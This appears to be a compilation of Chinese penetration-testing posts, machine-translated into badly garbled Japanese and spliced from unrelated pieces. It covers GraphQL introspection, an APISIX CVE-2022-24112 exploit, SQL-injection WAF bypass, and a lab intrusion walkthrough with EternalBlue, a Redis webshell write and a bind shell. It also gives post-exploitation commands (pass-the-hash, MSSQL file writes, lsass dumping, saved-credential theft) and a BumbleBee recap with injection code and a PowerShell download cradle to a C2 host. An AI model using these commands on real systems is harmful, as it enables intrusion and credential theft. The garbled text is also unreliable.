https://mp.weixin.qq.com/s/gp2jgrlpllsh5xn7vn9bwq

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} 1049983-20230129135925462-2091935808.png

これを使用して、インターフェイスドキュメントを生成できます。

https://github.com/2fd/graphdoc

nodejs test.jsonが必要なのは、内省的クエリによって返されるJSON形式のデータです

NPMインストール-G @2FD/GraphDoc

graphdoc -s ./test.json -o ./doc/schema

次に、生成された/doc/index.html 1049983-20230129135926397-616747756.pngを開きます

彼のフォーマット1049983-20230129135927015-1949031907.png 1049983-20230129135927700-609525478.pngに従ってデータパケットを構築するだけです

graphql内省的クエリ

ブラックボックステストでは、APIエンドポイントが完全には見つからないことです。対応するアプリケーションまたは他の側面からそれらを探す必要があります。

(1)Web

JS HTMLなどの静的リソースには、いくつかのAPIエンドポイントを持つことができます

バーププラグインJS Linkfinderは受動的に収集できます

(2)アプリおよびその他のクライアントアプリケーション

(3)github

(4)ルールのファズによると

その他

認証方法

APIが要求されるたびにユーザーのユーザー名とパスワードを提供する

通常、HTTPパケットに認証ヘッダーがあります

Authorization: Basic Base64(username:password)

これは安全性が比較的低く、現在はめったに使用されていません

基本的な認証

JWT(JSON Webトークン)は、トークンベースの認証と認証メカニズムです

3つの部分に分かれています

Header:は、JWTのメタデータを説明し、署名を生成するためのアルゴリズムとトークンのタイプを定義します。 Payload:は、継続する必要があるデータを保存するために使用されます。サーバーは、JWTが計算方法暗号化アルゴリズム(base64(header) + ')、1049983-20230129135928401-1047672463.pngの計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム(デフォルトはhmac sha256)を使用します。

オンラインテストhttps://jwt.io/1049983-20230129135929184-1826635181.png

通常のトークンには、バックエンドストレージとユーザーの間に対応する関係が必要ですが、JWTは対応する関係自体を運びます

jwt

Apikeyやランダムに生成された他の形式のトークン

その他のカスタムヘッダー、Cookie

一般的な安全性の問題とテスト方法

APIゲートウェイは、クライアントとマイクロサービスの間に構築されたサービスです。許可確認、監視、キャッシュ、リクエストルーティングなど、APIゲートウェイのいくつかの非ビジネス機能ロジックを処理できます。

APIゲートウェイは、マイクロサービスシステム全体のファサードのようなもので、システムの唯一の入り口です。これにより、クライアントは最初にAPIゲートウェイにリクエストを送信し、次にAPIゲートウェイが要求された識別情報に基づいてマイクロサービスインスタンスにリクエストを転送します。1049983-20230129135929803-1056153117.png

APIゲートウェイ

Apache Apisixは、Apache Software Foundationの下にあるCloud-Native API Gatewayです。ダイナミック、リアルタイム、および高性能の機能を組み合わせて、ロードバランス、ダイナミックアップストリーム、グレースケールリリース(カナリアリリース)、サービスサーキットブレーカー、アイデンティティ認証、観測性などの豊富な交通管理機能を提供します。同時に、K8Sイングレスコントローラーとしてもサポートされています。 Apisixは以前にコマンド実行の脆弱性CVE-2022-24112を公開しました(現在の最新バージョンは3.0)

衝撃の範囲:

Apache Apisix 1.3〜2.12.1の間のすべてのバージョン(2.12.1を除く)

Apache Apisix 2.10.0〜2.10.4 LTS間のすべてのバージョン(2.10.4を除く)は脆弱性環境を構築します

git clone https://github.com/twseptian/cve-2022-24112 ## get dockerfileを入手してください

CD CVE-2022-24112/apisix-docker/example/##対応するディレクトリを入力します

docker -compose -p docker -apisix up -d ## dockerに基づいてすべてのapisixサービス利用条件を開始

Batch-Requestsプラグインはデフォルトで有効になります。

ユーザーは、Apache Apisixデフォルトの構成を使用します(管理者APIを有効にし、デフォルトの管理キーを使用し、追加の管理ポートが割り当てられていません)。攻撃者は、Batch-Requestsプラグインを介して管理者APIを呼び出すことができます。アイデアを攻撃します

1.バッチリクエストプラグインの脆弱性を使用して、バイパス要求ヘッダー検出をバイパスします。

2。要求ヘッダーを偽造して、管理者APIにルートを登録します。

3.ルートを登録すると、パラメーターFilter_FUNCがLUAコードを渡し、リモートコード実行の脆弱性Expを引き起こします。

https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

一部の友人は、グループでのSQL注射の問題に遭遇することがよくあります。時々WAFがあり、時には盲目で、時には始める方法がわからないこともありますか?今日はスーパーインジェクションツールの名前とツールを共有しています

住所をダウンロード:https://github.com/shack2/supersqlinicturev1

ケース1: WAFを使用したブラインドノート

qlicmp4hmuz3500.png

以下の図に示すように、単一の引用は報告されたエラーを報告し、エラーはエコーします。この状況は、典型的なブールブラインドノートです。 1=1またはまたは1=1などのステートメントを作成できる限り、データを作成できます。

agpjxmg1cnq3501.png

以下はMySQLデータベースです。これは、通常、Booleanを注入する機能の場合に使用されるために使用されます。 WAFは通常、単一のif()をブロックしませんが、if(1,1,1)のようなif(1,1,1)をブロックします。ブロックされている場合は、1を11〜10、2で12-10に置き換えることができます。

hqfpejb4m1j3502.png

5fifeua5xwi3503.png

次に、スーパーインジェクションツールにシャトルを使用してください。

bopkbocfn2z3504.png

WAFルールをバイパスすることは次のとおりです。比較的簡単です

g1ppotqtf4q3505.png

ケース2:

ケース1で構築されたものは、スーパーインジェクションツールのページで返されるコンテンツを識別し、1=1の正しいページフィールドと1=2の間違ったページのフィールドを決定することです。通常のツールは注入点を認識できないため、フィールドを指定し、ツールにブールインジェクションの基礎を与える必要があります!

別の例を見てみましょう。私が意味することを理解できることを願っています。

次の図はまだmysqlであり、ifを正常に構築する

ruyctvy1usu3506.png

zffinicjro33507.png

メッセージはスーパーインジェクションツールに貼り付けられます。このツールは、ブラインドベットをテストするときに1=1および1=2のみをテストします。したがって、ifの最初の位置でペイロードを設定し、右下隅のボックスを見て、正しいページのエコー値が識別されました。その後、データが出てきます!

ppmv14xyhgc3508.png

ケース3:

これがMSSQLタイプです、

つまり、SQL-SERVER。サイトにはWAFがあります。インターセプトせずにテストまたは1=1および1=2。 1=1を使用して、データパケットを作成します。 SQLインジェクションツールは、ブール値を認識できます。

uy4br54tnpp3509.png

次に、データのブレーンストーミングはありません。

s2g5vtwgn1r3510.png

元の接続:https://mp.weixin.qq.com/s/jrv1zljz3ibtlorcxwdo-q

ネットワーク構成

外部ネットワークWIN7:IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2(NATモード)IP2:1010.0.0.20.98-VMNET1(ホストモード)ドメインホストモード:10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ)10.0.10.111-VMNET2(ホストモードのみ)ドメイン制御:10.0.10.110-VMNET2(ホストモードのみ)パスワード構成:Win7:Win7/Adminwin2016:administrator/admin@123、 ARP-SCAN -L同じネットワークセグメント1049983-20221213191711513-1626284435.pngの存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします

NMAP -SC -T4 192.168.127.91 1049983-20221213191712192-145196284.pngターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue(MS17-010)を使用してターゲットシステム

情報収集

にヒットしてみてください

イントラネットホストの浸透

KALIにコマンドを入力:MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run 1049983-20221213191712956-1029759909.pngMeterPreterShellc: \ Windows \ System32IpConfig 1049983-20221213191713593-1283889188.png私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001#65001#65001#65001#65001#65001#65001 c: \ windows \ system32ipconfig#iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント1049983-20221213191714161-1094728529.pngC: \ Windows \ System32Whomai 1049983-20221213191714702-252348703.pngC: \ windows \ system32tasklist/svc#view#view system in system 1049983-20221213191715346-1589597284.pngc3: \ windows \ system32exit #exit shellコマンド末端1049983-20221213191715906-298369840.pngmeterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All#すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者1049983-20221213191716474-911388489.png

010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php 1049983-20221213191717943-640772642.png Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています:https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 1049983-20221213191718577-2099848132.png Ant Sword 1049983-20221213191719216-2051261566.png 1049983-20221213191719873-1907814987.pngを使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、1049983-20221213191720452-937084830.png

Web浸透

がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。

自動移行プロセスコマンド(post/windows/manage/magrateの実行)の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。1049983-20221213191721606-1086021725.pngADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)を使用します。 1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191722153-1006008758.pngMETERPRETERバックグラウンド1049983-20221213191722667-1892001697.png生き残ったホストMSF6エクスポロイトを発見(Windows/SMB/MS17_010_ETERNALBLUE) Exploit(Windows/SMB/MS17_010_ETERNALBLUE)セッションセッション1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)SET RHOSTS 10.0.20.1-254MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191723297-1260029520.png Survive host.20.9 SOCKS5 Proxy MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY(SERVER/SOCKS_PROXY)1049983-20221213191723930-1794879283.png 1049983-20221213191724427-2109448838.pngポートスカンシングを修正する必要があります。構成ファイル

VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 1049983-20221213191725085-1001411680.pngは、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア1049983-20221213191725785-1588524664.pngがDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 1049983-20221213191726385-1294028240.png PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください:C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 1049983-20221213191727081-1201665938.png

http://10.0.20.99/l.php 1049983-20221213191727770-861141790.png 010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n?php @eval($ _ post [' x ']); 10.0.20.99:6379 Config set dbfileName shell.php#ファイル名をshell.php10.0.0.20.993:6379 Save 1049983-20221213191728929-503785144.pngここに、地元のホストのAnt Swordを介したプロキシです。1049983-20221213191730770-72949433.pngView現在のユーザーの許可はシステム1049983-20221213191731393-709923329.png

ハンドアロンの浸透

フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe 1049983-20221213191732625-154911111.pngを実行して、リスナーを構成します

Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 31049983-20221213191733277-1105419620.png Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 1049983-20221213191735076-285032627.pngスキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate

0x00環境

LinuxホストWWW許可ホストは外部ネットワークから出ることができませんフォワードプロキシはセグメントBを使用できませんイントラネット

0x01情報を収集

f-scrack.py redis、esなどを取得します。

PS: Scrack.pyのMSSQLモジュールブラストは不正確です。自分で簡単なものを書くことができます

python scrack.py -h 10.111.1.1-10.111.2.254 -P 3306,5432 -M 200 -T 6

1.redis

多くのキーがあるときはキーを使用しない *

基本情報:マスター、数量、バージョン番号を表示します

スキャンを使用してkeys:スキャン0マッチ *カウント100を表示

タイプ:タイプキーを表示します

ハッシュタイプ: HGETALLキー

2.mysql

Windowsでは、まずプラグインディレクトリ:に書き込むことができるかどうかをテストできます

@@Plugin_dirを選択します。

outfile plugin_dirにhelloを選択してください。次に、MSFに付属のUDFを使用し、最初に16進数に変換してから、プラグインディレクトリ:にエクスポートします

テストを使用します。

@a=concat( ''、0xhex_of_exe);

テーブルゴーストを作成します(data longblob);

ゴースト値に挿入( '');

Ghost Set data=@a;

GhostからDumpfile Dirにデータを選択します。

CREATE FUNCTION SYS_EVAL RETURNS STRING SONAME 'SYS_EVAL.DLL';

ドロップ関数SYS_EVAL; //使用後に削除し、良い習慣を開発し、最初にSYS_EVALを選択します。 sys_execを使用しないようにしてください(クラッシュします)

3.mssql

MSSQLブラストは、動きが比較的大きくなるため、可能な限り背面に配置する必要があります。

MSSQLブラストが成功した後、CLRを使用してアクセス許可を取得することをお勧めします。 `xp_cmdshell`を直接使用すると死に、360はそれを傍受します。

MSSQLのユーザーパスワード、Certutil、およびその他のツールが傍受または警戒されることが知られています。 MSSQLが提供するツールを使用して、ハードディスクに書き込みます。

ここで、ストアドプロシージャ:を開きます

SP_CONFIGURE 'Advanced Optionsを表示'、1;

行く

再構成;

行く

SP_CONFIGURE 'OLE Automation Procedures'、1;

行く

再構成;

mssqlは大きなファイルを書き込みます

たとえば、exeおよびその他のものが最初にhexに変換され、次に:ファイルに書き込まれます

xxd -plain /tmp/test.exe | tr -d '\ n' /tmp/dll.hex

@hexstring varchar(max)を宣言します。

@hexstring='変換後のhexを設定します';

@file varbinary(max)を宣言します。

@file=(select cast( '' as xml).value( 'xs:hexbinary(sql:variable(' @hexstring ')、sql:column(' t.pos ')))'、 '' varbinary(max) ')

from(select searce substring(@hexstring、1、2)の場合、 '0x' 'then 3 else 0 end)as t(pos));

@fileを選択します;

@init intを宣言;

@filepath nvarchar(4000)=n'c: \ 22.exe ';

exec sp_oacreate 'adodb.stream'、@init output; - 作成されたインスタンス

exec sp_oasetproperty @init、 'type'、1;

exec sp_oamethod @init、 'open'; - メソッドを呼び出します

exec sp_oamethod @init、 'write'、null、@file; - メソッドを呼び出します

exec sp_oamethod @init、 'savetofile'、null、 @filepath、2; - メソッドを呼び出します

exec sp_oamethod @init、 'close'; - メソッドを呼び出します

exec sp_oadestroy @init; - リソース

4.MSSQLバックアップ

バックアップデータベースDBを閉じました

Disk='C: \ Windows \ temp \ db.bak'圧縮、init、stats=5;ボリューム圧縮rar.exe a -m0 -v100m c: \ windows \ temp \ db.split c: \ windows \ tasks \ db.bak

c: \\ windows \ temp \\ db.split.rar /var /tmp /

6.pth

wmiwmic /node:192.168.158 /user3:pt007 /password:ADMIN123プロセスコールの作成コールの作成'CMD.EXE /C ipconfigd: \ result.txt 'wmiexec.vbs:を使用することをお勧めします

https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs

cscript C: \ windows \ tasks \ aliwmi.vbs/cmd ip 'c: \ windows \ system32 \ calc.exe'msfuse exploit/windows/smb/psexec

オプションを表示します

RHOST 192.168.81.129を設定します

SMBPASS 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFを設定します

SMBUSER管理者を設定します

オプションを表示します

runmimikatz || Cobalt strikemimikatz.exe特権:Debug 'sekurlsa:pth /domain: /user3360administrator /ntlm:2d20d252a479f485cdf5e171d93985bf /run:cmd.exe '//pass hashpsexecpsecec /accepteula //

sc delete psexesvc

PSEXEC \\ 192.168.1.185 -U PT007 -P Admin123 CMD.Exe

psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 'ipconfig'リモートコマンド実行scnet seve \\ 192.168.17.138 \ c $ 'admin123' /user:pt007

正味使用

dir \\ 192.168.17.138 \ c $

Test.exe \\ 192.168.17.138 \ c $をコピーします

sc \\ 192.168.17.138 Create test binpath='c: \ test.exe'

sc \\ 192.168.17.138テスト開始

Sc \\ 192.168.17.138 Del Test

Windows :https://xz.aliyun.com/t/5957でCMDをリモートで実行する9つの方法

0x03アクセスは拒否されます

RID 500ではないコンピューターでは、使用されるトークンは、WMI、PSEXEC、またはその他の方法を使用するかどうかにかかわらず、中程度のトークンです。 wmiexecを使用する場合、アクセスが拒否されることが修正されます

ハッシュをrawったとき、レジストリを変更することができ、すべてのローカル管理者グループメンバーが持続の手段としてリモートで接続できるようにします。

Reg add hklm \ software \ microsoft \ windows \ currentversion \ policies \ system /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f ### rdp's pth

クロールハッシュをクラックできない場合、ハッシュを使用してRDPにリモートでログインすると、「制限された管理モード」を有効にするためにログインしているシステムが必要になります。 Windows 7およびWinserver 2008には、2871997と2973351プディングの設置が必要です。

1。 RDPを開始

reg 'hklm \ system \ currentControlset \ control \ターミナルサーバー' /v fdenytsconnections /t reg_dword /d 00000000 /f

reg add 'hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ Winstations \ rdp-tcp' /v portnumber /t reg_dword /d0x00000d3d /f#ポート3389を聞いてください

3389をオンにします

wmic /namespace: \\ root \ cimv2 \ emerinalservices path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1

2。制限付き管理モードをオンにします

reg reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disable-sustricedadmin /t reg_dword /d 00000000 /f 010-10 #### dbeaver

dbeaver6構成ファイル(ストレージの場所と復号化方法は、バージョンによって異なります):

#PassWord暗号化されたストレージ場所:

c: \ users \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ curdentiences-config.json

#URLおよびユーザー名:

c: \ uses \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ data-sources.json Decryption script:https://gist.github.com/felipou/50b60309f9f9b70b1e28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd8e

資格情報をダウンロードした後、pythonを使用して:python decrypt.py credentivelys-config.jsonを復号化し、次に、復号化されたIDに基づいて、Data-Sources.jsonの対応するIPとユーザー名を検索します。

パスワードの古いバージョンは、C: \ users \ users \ .dbeaver4 \ general \ .dbeaver-data-source.xmlに保存されています。http://DBEAVER-PASSWORD-DECRYPTER.S3-WEBSITE-US-WEST-2.AMAZONAWS.COM/を使用して、オンライン復号化を直接使用できます。

3。ファイアウォールルールを追加

対応するIP情報とプライベートキーアドレスを備えた.iniファイルがあります

ストレージの古いバージョン: C: \ users%username%\ appdata \ roaming \ mobaxterm

2020バージョン: c: \ users%username%\ documents \ mobaxterm

0x04ダンプパスワード

Windowsの下の構成ファイルはこの場所にあります:

%appdata%\ code \ user \ settings.jsonは、構成ファイルに基づいてメモやSSHなどのストレージ場所を見つけることができます

0x05 MOBAXTEM

マスターサンハオはそれをとても言った、私はfirepwd.py:を使用することを選んだ

Firefox構成ファイルディレクトリ:

%AppData%\ Mozilla \ firefox \ profiles \

0はじめに

実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。

《BumbleBee Roasts Its Way To Domain Admin》元のリンク

1日1(1日)

1.1サンプル配信

メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。

c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob

115uaelhnd13491.png

1.1.1 rundll32分析

rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。

Exploit/Windows/SMB/SMB_Deliveryを使用します

SRVHOST 10.X.X.Xを設定します

エクスプロイト

1qblzisafbs3492.png

qdlojni4k1b3493.png

1.2悪意のあるプログラムのロードバンブルビー

ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。

c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding

vb5ffd4fz1w3494.png

wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。

bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){

hprocess=nullを処理します。

dword dwsize=0;

lpvoid pdlladdr=null;

farproc pfuncprocaddr=null;

hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します

dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します

PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//

:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます

pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します

ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する

:CloseHandle(hprocess);

trueを返します。

}

1.3ホスト情報を収集した

攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。

IPCONFIG /ドメインを含むすべての#Getネットワーク情報

ping -n 1 [domain] #testドメイン接続

ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー

nslookup x.x.x.x#get x.x.x IPアドレス

タスクリスト#getプロセス情報

SystemInfo #getシステム情報

WMIC製品は、名前、バージョン#ソフトウェア情報を取得します

wmic /node'ledactedプロセスリストブリーフ#getプロセス情報

ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ

dir \\ redacted \ c $ \ #column cディスクディレクトリ

TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します

正味使用

ネットグループ「ドメインコンピューター」 /ドメイン

ネットグループ「エンタープライズ管理者」 /ドメイン

ネットグループ「ドメインコンピューター」 /ドメイン

ネットローカルグループ管理者

nltest /dclist

nltest /domain_trusts

ping -n 1 remote_ip

上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。

1.4サーバーに水平に移動し、情報を収集し続ける

元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):

cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c af.exe -sc trustdump trustdump.txt

cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt

2日目(2日目)

2.1サーバーに関する情報を収集し続けます

攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。

3日目(4日目)

3.1充電されたホストに関する情報を収集し続けます

攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

3.1.1 VulnReCon分析

Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。

#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb

#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb

# 指示

Vulnrecon.exe -V

vulnrecon.exe -o

vulnrecon.exe -findvulnerability

Vulnrecon.exe -i

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt

cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt

vqscoyzduhf3495.png

31sjolt4qd03496.png

dmmjtvxsdoc3497.png

電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。

### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。

c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp

4日目(7日目)

4.1充電されたサーバーに関する情報を収集し続けます

攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。

seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'

vulnrecon.exe -o

Vulnrecon.exe -V

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

5日目(11日目)

5.1充電されたホストにシェルをバウンスします

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

